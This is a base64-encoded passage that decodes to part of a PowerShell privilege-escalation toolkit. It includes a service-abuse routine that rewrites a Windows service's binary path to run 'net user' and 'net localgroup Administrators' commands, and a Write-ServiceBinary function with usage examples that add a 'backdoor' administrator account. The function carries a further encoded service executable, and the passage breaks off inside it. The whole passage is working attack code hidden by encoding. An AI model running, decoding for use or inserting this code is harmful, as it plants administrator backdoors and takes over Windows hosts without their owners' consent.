IkVycm9yIGluIGVuYWJsaW5nIGRpc2FibGVkIHNlcnZpY2UuIgogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAkUmVzdG9yZURpc2FibGVkID0gJFRydWUKICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICAjIGV4dHJhY3QgdGhlIG9yaWdpbmFsIHBhdGggYW5kIHN0YXRlIHNvIHdlIGNhbiByZXN0b3JlIGl0IGxhdGVyCiAgICAgICAgICAgICAgICAkT3JpZ2luYWxQYXRoID0gJFRhcmdldFNlcnZpY2UuUGF0aE5hbWUKICAgICAgICAgICAgICAgICRPcmlnaW5hbFN0YXRlID0gJFRhcmdldFNlcnZpY2UuU3RhdGUKICAgICAgICAgICAgICAgIFdyaXRlLVZlcmJvc2UgIlNlcnZpY2UgJyRTZXJ2aWNlTmFtZScgb3JpZ2luYWwgcGF0aDogJyRPcmlnaW5hbFBhdGgnIgogICAgICAgICAgICAgICAgV3JpdGUtVmVyYm9zZSAiU2VydmljZSAnJFNlcnZpY2VOYW1lJyBvcmlnaW5hbCBzdGF0ZTogJyRPcmlnaW5hbFN0YXRlJyIKCiAgICAgICAgICAgICAgICAkQ29tbWFuZHMgPSBAKCkKCiAgICAgICAgICAgICAgICBpZigkQ29tbWFuZCkgewogICAgICAgICAgICAgICAgICAgICMgb25seSBleGVjdXRpbmcgYSBjdXN0b20gY29tbWFuZAogICAgICAgICAgICAgICAgICAgICRDb21tYW5kcyArPSAkQ29tbWFuZAogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZWxzZWlmKCRVc2VyTmFtZS5Db250YWlucygiXCIpKSB7CiAgICAgICAgICAgICAgICAgICAgIyBhZGRpbmcgYSBkb21haW4gdXNlciB0byB0aGUgbG9jYWwgZ3JvdXAsIG5vIGNyZWF0aW9uCiAgICAgICAgICAgICAgICAgICAgJENvbW1hbmRzICs9ICJuZXQgbG9jYWxncm91cCAkTG9jYWxHcm91cCAkVXNlck5hbWUgL2FkZCIKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGVsc2UgewogICAgICAgICAgICAgICAgICAgICMgY3JlYXRpbmcgYSBsb2NhbCB1c2VyIGFuZCBhZGRpbmcgdG8gdGhlIGxvY2FsIGdyb3VwCiAgICAgICAgICAgICAgICAgICAgJENvbW1hbmRzICs9ICJuZXQgdXNlciAkVXNlck5hbWUgJFBhc3N3b3JkIC9hZGQiCiAgICAgICAgICAgICAgICAgICAgJENvbW1hbmRzICs9ICJuZXQgbG9jYWxncm91cCAkTG9jYWxHcm91cCAkVXNlck5hbWUgL2FkZCIKICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICBmb3JlYWNoKCRDbWQgaW4gJENvbW1hbmRzKSB7CiAgICAgICAgICAgICAgICAgICAgaWYoLW5vdCAkKEludm9rZS1TZXJ2aWNlU3RvcCAtU2VydmljZU5hbWUgJFRhcmdldFNlcnZpY2UuTmFtZSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgdGhyb3cgIkVycm9yIGluIHN0b3BwaW5nIHNlcnZpY2UuIgogICAgICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICAgICAgV3JpdGUtVmVyYm9zZSAiRXhlY3V0aW5nIGNvbW1hbmQgJyRDbWQnIgoKICAgICAgICAgICAgICAgICAgICAkUmVzdWx0ID0gc2MuZXhlIGNvbmZpZyAkKCRUYXJnZXRTZXJ2aWNlLk5hbWUpIGJpblBhdGg9ICRDbWQKICAgICAgICAgICAgICAgICAgICBpZiAoJFJlc3VsdCAtY29udGFpbnMgIkFjY2VzcyBpcyBkZW5pZWQuIil7CiAgICAgICAgICAgICAgICAgICAgICAgIHRocm93ICJBY2Nlc3MgdG8gc2VydmljZSAkKCRUYXJnZXRTZXJ2aWNlLk5hbWUpIGRlbmllZCIKICAgICAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgICAgICROdWxsID0gSW52b2tlLVNlcnZpY2VTdGFydCAtU2VydmljZU5hbWUgJFRhcmdldFNlcnZpY2UuTmFtZQogICAgICAgICAgICAgICAgfQogCiAgICAgICAgICAgICAgICAjIGNsZWFudXAgYW5kIHJlc3RvcmUgdGhlIG9yaWdpbmFsIGJpbmFyeSBwYXRoCiAgICAgICAgICAgICAgICBXcml0ZS1WZXJib3NlICJSZXN0b3Jpbmcgb3JpZ2luYWwgcGF0aCB0byBzZXJ2aWNlICckU2VydmljZU5hbWUnIgogICAgICAgICAgICAgICAgJE51bGwgPSBzYy5leGUgY29uZmlnICQoJFRhcmdldFNlcnZpY2UuTmFtZSkgYmluUGF0aD0gJE9yaWdpbmFsUGF0aAoKICAgICAgICAgICAgICAgICMgdHJ5IHRvIHJlc3RvcmUgdGhlIHNlcnZpY2UgdG8gd2hhdGV2ZXIgc3RhdGUgaXQgd2FzCiAgICAgICAgICAgICAgICBpZigkUmVzdG9yZURpc2FibGVkKSB7CiAgICAgICAgICAgICAgICAgICAgV3JpdGUtVmVyYm9zZSAiUmUtZGlzYWJsaW5nIHNlcnZpY2UgJyRTZXJ2aWNlTmFtZSciCiAgICAgICAgICAgICAgICAgICAgJFJlc3VsdCA9IHNjLmV4ZSBjb25maWcgJCgkVGFyZ2V0U2VydmljZS5OYW1lKSBzdGFydD0gZGlzYWJsZWQKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGVsc2VpZigkT3JpZ2luYWxTdGF0ZSAtZXEgIlBhdXNlZCIpIHsKICAgICAgICAgICAgICAgICAgICBXcml0ZS1WZXJib3NlICJTdGFydGluZyBhbmQgdGhlbiBwYXVzaW5nIHNlcnZpY2UgJyRTZXJ2aWNlTmFtZSciCiAgICAgICAgICAgICAgICAgICAgJE51bGwgPSBJbnZva2UtU2VydmljZVN0YXJ0IC1TZXJ2aWNlTmFtZSAgJFRhcmdldFNlcnZpY2UuTmFtZQogICAgICAgICAgICAgICAgICAgICROdWxsID0gc2MuZXhlIHBhdXNlICQoJFRhcmdldFNlcnZpY2UuTmFtZSkKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGVsc2VpZigkT3JpZ2luYWxTdGF0ZSAtZXEgIlN0b3BwZWQiKSB7CiAgICAgICAgICAgICAgICAgICAgV3JpdGUtVmVyYm9zZSAiTGVhdmluZyBzZXJ2aWNlICckU2VydmljZU5hbWUnIGluIHN0b3BwZWQgc3RhdGUiCiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAkTnVsbCA9IEludm9rZS1TZXJ2aWNlU3RhcnQgLVNlcnZpY2VOYW1lICAkVGFyZ2V0U2VydmljZS5OYW1lCiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgY2F0Y2ggewogICAgICAgICAgICAgICAgV3JpdGUtV2FybmluZyAiRXJyb3Igd2hpbGUgbW9kaWZ5aW5nIHNlcnZpY2UgJyRTZXJ2aWNlTmFtZSc6ICRfIgogICAgICAgICAgICAgICAgJENvbW1hbmRzID0gQCgiRXJyb3Igd2hpbGUgbW9kaWZ5aW5nIHNlcnZpY2UgJyRTZXJ2aWNlTmFtZSc6ICRfIikKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgZWxzZSB7CiAgICAgICAgICAgIFdyaXRlLVdhcm5pbmcgIlRhcmdldCBzZXJ2aWNlICckU2VydmljZU5hbWUnIG5vdCBmb3VuZCBvbiB0aGUgbWFjaGluZSIKICAgICAgICAgICAgJENvbW1hbmRzID0gIk5vdCBmb3VuZCIKICAgICAgICB9CgogICAgICAgICRPdXQgPSBOZXctT2JqZWN0IFBTT2JqZWN0CiAgICAgICAgJE91dCB8IEFkZC1NZW1iZXIgTm90ZXByb3BlcnR5ICdTZXJ2aWNlQWJ1c2VkJyAkU2VydmljZUFidXNlZAogICAgICAgICRPdXQgfCBBZGQtTWVtYmVyIE5vdGVwcm9wZXJ0eSAnQ29tbWFuZCcgJCgkQ29tbWFuZHMgLWpvaW4gIiAmJiAiKQogICAgICAgICRPdXQKICAgIH0KfQoKCmZ1bmN0aW9uIFdyaXRlLVNlcnZpY2VCaW5hcnkgewo8IwogICAgLlNZTk9QU0lTCgogICAgICAgIFRha2VzIGEgcHJlY29tcGlsZWQgQyMgc2VydmljZSBleGVjdXRhYmxlIGFuZCBiaW5hcnkgcGF0Y2hlcyBpbiBhIAogICAgICAgIGN1c3RvbSBzaGVsbCBjb21tYW5kIG9yIGNvbW1hbmRzIHRvIGFkZCBhIGxvY2FsIGFkbWluaXN0cmF0b3IuCiAgICAgICAgSXQgdGhlbiB3cml0ZXMgdGhlIGJpbmFyeSBvdXQgdG8gdGhlIHNwZWNpZmllZCBsb2NhdGlvbi4KICAgICAgICBEb21haW4gdXNlcnMgYXJlIG9ubHkgYWRkZWQgdG8gdGhlIHNwZWNpZmllZCBMb2NhbEdyb3VwLgogICAgICAgIAogICAgLlBBUkFNRVRFUiBTZXJ2aWNlTmFtZQoKICAgICAgICBUaGUgc2VydmljZSBuYW1lIHRoZSBFWEUgd2lsbCBiZSBydW5uaW5nIHVuZGVyLiBSZXF1aXJlZC4KCiAgICAuUEFSQU1FVEVSIFBhdGgKCiAgICAgICAgUGF0aCB0byB3cml0ZSB0aGUgYmluYXJ5IG91dCB0bywgZGVmYXVsdHMgdG8gdGhlIGxvY2FsIGRpcmVjdG9yeS4KCiAgICAuUEFSQU1FVEVSIFVzZXJOYW1lCgogICAgICAgIFRoZSBbRE9NQUlOXHVzZXJuYW1lXSB0byBhZGQsIGRlZmF1bHRzIHRvICdqb2huJy4KCiAgICAuUEFSQU1FVEVSIFBhc3N3b3JkCgogICAgICAgIFRoZSBwYXNzd29yZCB0byBzZXQgZm9yIHRoZSBhZGRlZCB1c2VyLCBkZWZhdWx0IHRvICdQYXNzd29yZDEyMyEnLgoKICAgIC5QQVJBTUVURVIgTG9jYWxHcm91cAoKICAgICAgICBMb2NhbCBncm91cCB0byBhZGQgdGhlIHVzZXIgdG8sIGRlZmF1bHRzIHRvICdBZG1pbmlzdHJhdG9ycycuCgogICAgLlBBUkFNRVRFUiBDb21tYW5kCgogICAgICAgIEEgY3VzdG9tIGNvbW1hbmQgdG8gZXhlY3V0ZS4KCiAgICAuRVhBTVBMRQoKICAgICAgICBQUyBDOlw+IFdyaXRlLVNlcnZpY2VCaW5hcnkgLVNlcnZpY2VOYW1lIFZ1bG5TVkMKCiAgICAgICAgV3JpdGVzIHRoZSBzZXJ2aWNlIGJpbmFyeSBmb3IgVnVsblNWQyB0aGF0IGFkZHMgYSBsb2NhbCBhZG1pbmlzdHJhdG9yCiAgICAgICAgdG8gdGhlIGxvY2FsIGRpcmVjdG9yeS4KCiAgICAuRVhBTVBMRQoKICAgICAgICBQUyBDOlw+IFdyaXRlLVNlcnZpY2VCaW5hcnkgLVNlcnZpY2VOYW1lIFZ1bG5TVkMgLVVzZXJOYW1lICJURVNUTEFCXGpvaG4iCgogICAgICAgIFdyaXRlcyB0aGUgc2VydmljZSBiaW5hcnkgZm9yIFZ1bG5TVkMgdGhhdCBhZGRzIFRFU1RMQUJcam9obiB0byB0aGUgbG9jYWwKICAgICAgICBhZG1pbmlzdHJhdG9ycyB0byB0aGUgbG9jYWwgZGlyZWN0b3J5LgoKICAgIC5FWEFNUExFCgogICAgICAgIFBTIEM6XD4gV3JpdGUtU2VydmljZUJpbmFyeSAtU2VydmljZU5hbWUgVnVsblNWQyAtVXNlck5hbWUgYmFja2Rvb3IgLVBhc3N3b3JkIFBhc3N3b3JkMTIzIQoKICAgICAgICBXcml0ZXMgdGhlIHNlcnZpY2UgYmluYXJ5IGZvciBWdWxuU1ZDIHRoYXQgYWRkcyBhIGxvY2FsIGFkbWluaXN0cmF0b3Igb2YKICAgICAgICBuYW1lICdiYWNrZG9vcicgd2l0aCBwYXNzd29yZCAnUGFzc3dvcmQxMjMhJyB0byB0aGUgbG9jYWwgZGlyZWN0b3J5LgoKICAgIC5FWEFNUExFCgogICAgICAgIFBTIEM6XD4gV3JpdGUtU2VydmljZUJpbmFyeSAtU2VydmljZU5hbWUgVnVsblNWQyAtQ29tbWFuZCAibmV0IC4uLiIKCiAgICAgICAgV3JpdGVzIHRoZSBzZXJ2aWNlIGJpbmFyeSBmb3IgVnVsblNWQyB0aGF0IGV4ZWN1dGVzIGEgbG9jYWwgY29tbWFuZAogICAgICAgIHRvIHRoZSBsb2NhbCBkaXJlY3RvcnkuCiM+CgogICAgW0NtZGxldEJpbmRpbmcoKV0KICAgIFBhcmFtKAogICAgICAgIFtQYXJhbWV0ZXIoVmFsdWVGcm9tUGlwZWxpbmU9JFRydWUsIE1hbmRhdG9yeSA9ICRUcnVlKV0KICAgICAgICBbU3RyaW5nXQogICAgICAgICRTZXJ2aWNlTmFtZSwKCiAgICAgICAgW1N0cmluZ10KICAgICAgICAkU2VydmljZVBhdGggPSAic2VydmljZS5leGUiLAoKICAgICAgICBbU3RyaW5nXQogICAgICAgICRVc2VyTmFtZSA9ICJqb2huIiwKCiAgICAgICAgW1N0cmluZ10KICAgICAgICAkUGFzc3dvcmQgPSAiUGFzc3dvcmQxMjMhIiwKCiAgICAgICAgW1N0cmluZ10KICAgICAgICAkTG9jYWxHcm91cCA9ICJBZG1pbmlzdHJhdG9ycyIsCgogICAgICAgIFtTdHJpbmddCiAgICAgICAgJENvbW1hbmQKICAgICkKCiAgICBiZWdpbiB7CiAgICAgICAgIyB0aGUgcmF3IHVucGF0Y2hlZCBzZXJ2aWNlIGJpbmFyeQogICAgICAgICRCNjRCaW5hcnkgPSAiVFZxUUFBTUFBQUFFQUFBQS8vOEFBTGdBQUFBQUFBQUFRQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFnQUFBQUE0ZnVnNEF0QW5OSWJnQlRNMGhWR2hwY3lCd2NtOW5jbUZ0SUdOaGJtNXZkQ0JpWlNCeWRXNGdhVzRnUkU5VElHMXZaR1V1RFEwS0pBQUFBQUFBQUFCUVJRQUFUQUVEQU5NMVAxVUFBQUFBQUFBQUFPQUFBZ0VMQVFzQUFFd0FBQUFJQUFBQUFBQUFIbW9BQUFBZ0FBQUFnQUFBQUFCQUFBQWdBQUFBQWdBQUJBQUFBQUFBQUFBRUFBQUFBQUFBQUFEQUFBQUFBZ0FBQUFBQUFBSUFRSVVBQUJBQUFCQUFBQUFBRUFBQUVBQUFBQUFBQUJBQUFBQUFBQUFBQUFBQUFNaHBBQUJUQUFBQUFJQUFBREFGQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUtBQUFBd0FBQUJRYVFBQUhBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUlBQUFDQUFBQUFBQUFBQUFBQUFBQ0NBQUFFZ0FBQUFBQUFBQUFBQUFBQzUwWlhoMEFBQUFKRW9BQUFBZ0FBQUFUQUFBQUFJQUFBQUFBQUFBQUFBQUFBQUFBQ0FBQUdBdWNuTnlZd0FBQURBRkFBQUFnQUFBQUFZQUFBQk9BQUFBQUFBQUFBQUFBQUFBQUFCQUFBQkFMbkpsYkc5akFBQU1BQUFBQUtBQUFBQUNBQUFBVkFBQUFBQUFBQUFBQUFBQUFBQUFRQUFBUWdBQUFBQUFBQUFBQUFBQUFBQUFBQUFBYWdBQUFBQUFBRWdBQUFBQ0FBVUErQ0FBQUZoSUFBQURBQUFBQmdBQUJnQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBSG9ETEJNQ2V3RUFBQVFzQ3dKN0FRQUFCRzhSQUFBS0FnTW9FZ0FBQ2lweUFuTVRBQUFLZlFFQUFBUUNjZ0VBQUhCdkZBQUFDaWdWQUFBS0tqWUNLQllBQUFvQ0tBSUFBQVlxQUFBVE1BSUFLQUFBQUFFQUFCRnlSd0FBY0FweVFFQUFjQVp2RkFBQUNpZ1hBQUFLSmlEUUJ3QUFLQmdBQUFvV0tCa0FBQW9xQmlvQUFCTXdBd0FZQUFBQUFnQUFFUmVOQVFBQUFRc0hGbk1EQUFBR29nY0tCaWdhQUFBS0trSlRTa0lCQUFFQUFBQUFBQXdBQUFCMk5DNHdMak13TXpFNUFBQUFBQVVBYkFBQUFNUUNBQUFqZmdBQU1BTUFBSEFEQUFBalUzUnlhVzVuY3dBQUFBQ2dCZ0FBVUVBQUFDTlZVd0R3UmdBQUVBQUFBQ05IVlVsRUFBQUFBRWNBQUZnQkFBQWpRbXh2WWdBQUFBQUFBQUFDQUFBQlZ4VUNBQWtBQUFBQStpVXpBQllBQUFFQUFBQWFBQUFBQXdBQUFBRUFBQUFHQUFBQUFnQUFBQm9BQUFBT0FBQUFBZ0FBQUFFQUFBQURBQUFBQUFBS0FBRUFBQUFBQUFZQVJRQXZBQW9BWVFCYUFBNEFmZ0JvQUFvQTZ3RFpBQW9BQWdIWkFBb0FId0haQUFvQVBnSFpBQW9BVndIWkFBb0FjQUhaQUFvQWl3SFpBQW9BcGdIWkFBb0EzZ0cvQVFvQThnRy9BUW9BQUFMWkFBb0FHUUxaQUFvQVVBSTJBZ29BZkFKcEFrY0FrQUlBQUFvQXZ3S2ZBZ29BM3dLZkFnb0EvUUphQUE0QUNRTm9BQW9BRXdOYUFBNEFMd05wQWdvQVRnTTlBd29BV3dOYUFBQUFBQUFCQUFBQUFBQUJBQUVBQVFBUUFCWUFId0FGQUFFQUFRQ0FBUkFBSndBZkFBa0FBZ0FHQUFFQWlRQVRBRkFnQUFBQUFNUUFsQUFYQUFFQWJ5QUFBQUFBZ1FDY0FCd0FBZ0NNSUFBQUFBQ0dHTEFBSEFBQ0FKd2dBQUFBQU1RQXRnQWdBQUlBMENBQUFBQUF4QUMrQUJ3QUF3RFVJQUFBQUFDUkFNVUFKZ0FEQUFBQUFRREtBQUFBQVFEVUFDRUFzQUFxQUNrQXNBQXFBREVBc0FBcUFEa0FzQUFxQUVFQXNBQXFBRWtBc0FBcUFGRUFzQUFxQUZrQXNBQXFBR0VBc0FBWEFHa0FzQUFxQUhFQXNBQXFBSGtBc0FBcUFJRUFzQUFxQUlrQXNBQXZBSmtBc0FBMUFLRUFzQUFjQUtrQWxBQWNBQWtBbEFBWEFMRUFzQUFjQUxrQUdnTTZBQWtBSHdNcUFBa0FzQUFjQU1FQU53TStBTWtBVlFORkFORUFad05GQUFrQWJBTk9BQzRBQ3dCZUFDNEFFd0JyQUM0QUd3QnJBQzRBSXdCckFDNEFLd0JlQUM0QU13QnhBQzRBT3dCckFDNEFTd0JyQUM0QVV3Q0pBQzRBWXdDekFDNEFhd0RBQUM0QWN3QW1BUzRBZXdBdkFTNEFnd0E0QVVvQVZRQUVnQUFBQVFBQUFBQUFBQUFBQUFBQUFBQWZBQUFBQkFBQUFBQUFBQUFBQUFBQUFRQXZBQUFBQUFBRUFBQUFBQUFBQUFBQUFBQUtBRkVBQUFBQUFBUUFBQUFBQUFBQUFBQUFBQW9BV2dBQUFBQUFBQUFBQUFBOFRXOWtkV3hsUGdCVmNHUmhkR1Z5TG1WNFpRQlRaWEoyYVdObE1RQlZjR1JoZEdWeUFGQnliMmR5WVcwQVUzbHpkR1Z0TGxObGNuWnBZMlZRY205alpYTnpBRk5sY25acFkyVkNZWE5sQUcxelkyOXliR2xpQUZONWMzUmxiUUJQWW1wbFkzUUFVM2x6ZEdWdExrTnZiWEJ2Ym1WdWRFMXZaR1ZzQUVsRGIyNTBZV2x1WlhJQVkyOXRjRzl1Wlc1MGN3QkVhWE53YjNObEFFbHVhWFJwWVd4cGVtVkRiMjF3YjI1bGJuUUFMbU4wYjNJQVQyNVRkR0Z5ZEFCUGJsTjBiM0FBVFdGcGJnQmthWE53YjNOcGJtY0FZWEpuY3dCVGVYTjBaVzB1VW1WbWJHVmpkR2x2YmdCQmMzTmxiV0pzZVZScGRHeGxRWFIwY21saWRYUmxBRUZ6YzJWdFlteDVSR1Z6WTNKcGNIUnBiMjVCZEhSeWFXSjFkR1VBUVhOelpXMWliSGxEYjI1bWFXZDFjbUYwYVc5dVFYUjBjbWxpZFhSbEFFRnpjMlZ0WW14NVEyOXRjR0Z1ZVVGMGRISnBZblYwWlFCQmMzTmxiV0pzZVZCeWIyUjFZM1JCZEhSeWFXSjFkR1VBUVhOelpXMWliSGxEYjNCNWNtbG5hSFJCZEhSeWFXSjFkR1VBUVhOelpXMWliSGxVY21Ga1pXMWhjbXRCZEhSeWFXSjFkR1VBUVhOelpXMWliSGxEZFd4MGRYSmxRWFIwY21saWRYUmxBRk41YzNSbGJTNVNkVzUwYVcxbExrbHVkR1Z5YjNCVFpYSjJhV05sY3dCRGIyMVdhWE5wWW14bFFYUjBjbWxpZFhSbEFFZDFhV1JCZEhSeWFXSjFkR1VBUVhOelpXMWliSGxXWlhKemFXOXVRWFIwY21saWRYUmxBRUZ6YzJWdFlteDVSbWxzWlZabGNuTnBiMjVCZEhSeWFXSjFkR1VBVTNsemRHVnRMbEoxYm5ScGJXVXVWbVZ5YzJsdmJtbHVad0JVWVhKblpYUkdjbUZ0WlhkdmNtdEJkSFJ5YVdKMWRHVUFVM2x6ZEdWdExrUnBZV2R1YjNOMGFXTnpBRVJsWW5WbloyRmliR1ZCZEhSeWFXSjFkR1VBUkdWaWRXZG5hVzVuVFc5a1pYTUFVM2x6ZEdWdExsSjFiblJwYldVdVEyOXRjR2xzWlhKVFpYSjJhV05sY3dCRGIyMXdhV3hoZEdsdmJsSmxiR0Y0WVhScGIyNXpRWFIwY21saWRYUmxBRkoxYm5ScGJXVkRiMjF3WVhScFltbHNhWFI1UVhSMGNtbGlkWFJsQUVsRWFYTndiM05oWW14bEFFTnZiblJoYVc1bGNnQlRkSEpwYm1jQVZISnBiUUJ6WlhSZlUyVnlkbWxqWlU1aGJXVUFVSEp2WTJWemN3QlRkR0Z5ZEFCVGVYTjBaVzB1VkdoeVpXRmthVzVuQUZSb2NtVmhaQUJUYkdWbGNBQkZiblpwY205dWJXVnVkQUJGZUdsMEFGSjFiZ0FBUlVFQVFRQkJBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFBTC8zTHdCREFDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUl